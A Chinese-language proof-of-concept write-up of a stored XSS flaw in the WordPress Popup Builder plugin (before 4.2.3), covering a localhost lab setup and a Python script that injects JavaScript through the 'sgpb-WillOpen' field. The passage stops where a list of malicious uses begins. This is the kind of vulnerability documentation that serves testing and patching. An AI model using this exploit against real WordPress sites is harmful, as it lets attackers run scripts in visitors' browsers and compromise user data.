
此漏洞展示了一个WordPress弹窗插件中的XSS缺陷,允许攻击者通过存储型XSS注入恶意JavaScript代码。
此漏洞允许攻击者利用 WordPress Popup Builder 插件中的跨站脚本(XSS)缺陷。
该插件未能阻止普通用户修改现有弹窗,攻击者可通过向服务器发送特制请求,在弹窗中注入恶意脚本,当用户与弹窗交互时脚本即执行。
对于本 POC,漏洞将通过操控弹窗打开行为触发,注入一个简单的 alert 脚本,在弹窗打开时运行。
此类攻击可导致一系列问题,包括未经授权访问敏感信息以及对受影响网站的进一步利用,可能危及用户数据或整个网站。
对于本 POC,我们可以使用 Windows 10 机器并下载 XAMPP:https://www.apachefriends.org/download.html
安装后,请确保开启 Apache 和 MySQL 模块:

与大多数内容管理系统一样,WordPress 需要一个数据库来存储所有关键数据。我们将创建的 SQL 数据库将作为所有这些信息的中央存储。
有漏洞版本的 Popup Builder 插件可从其主站下载:https://wordpress.org/plugins/popup-builder/advanced/
选择一个在 4.2.3 修复之前的旧版本:

接着,进入 WordPress 管理页面 - http://localhost/wordpress/wp-login.php
插件 -> 安装插件 -> 上传插件 -> 选择下载的 .ZIP 文件并安装
在 WordPress 管理页面中,我们可以通过 页面 -> 新建页面 -> 选择模板,创建一个简单的前台页面。
对于弹窗,进入 Popup Builder -> 新建 -> 选择类型并自定义。
本 POC 我选择了订阅弹窗,因为这是现今网站上最常见的弹窗之一。

在“显示规则”选项卡中,可以将弹窗附加到前台页面:

现在,当我们通过 http://localhost/wordpress/ 进入前台页面时,可以看到弹窗被触发。
要执行漏洞利用,首先需要找到弹窗 ID。
这可以通过导航至网站、触发弹窗并打开开发者工具中的“网络”选项卡来完成。
查找 admin-ajax.php 请求,这是 WordPress 处理 AJAX 请求的核心组件。Popup Builder 利用它来管理弹窗在 WordPress 内的保存、更新、预览和控制功能。
在“负载”选项卡下,可以找到弹窗 ID:

找到弹窗 ID 后,可以使用以下脚本触发漏洞:
import requests
# 定义目标易受攻击网站的 URL
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", # 使用我们找到的弹窗 ID
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" # 自定义 JS 代码在此处
}
# 发送 POST 请求并输出结果
response = requests.post(url, data=data)
print(response.text)
由于我们可以编辑弹窗,因此也能控制自定义 JS 的触发时机。
如果进入 WordPress 管理页面的弹窗设置,可以看到“自定义 JS 或 CSS”选项,这将控制自定义代码的执行时机:

然后我们可以根据需要将其整合到脚本中。
触发脚本后,在 WordPress 管理页面的弹窗自定义 JS 部分可以看到添加了一行新内容:

现在,当普通用户进入网站时,会看到以下提示消息:

我们还可以看到消息已保存在 SQL 数据库中(默认存储在 wp_postmeta 表中),这证实了它是存储型 XSS:

Popup Builder 插件中的此存储型 XSS 漏洞允许攻击者嵌入恶意 JavaScript,在用户与受感染弹窗交互时执行。以下是恶意利用的一些方式: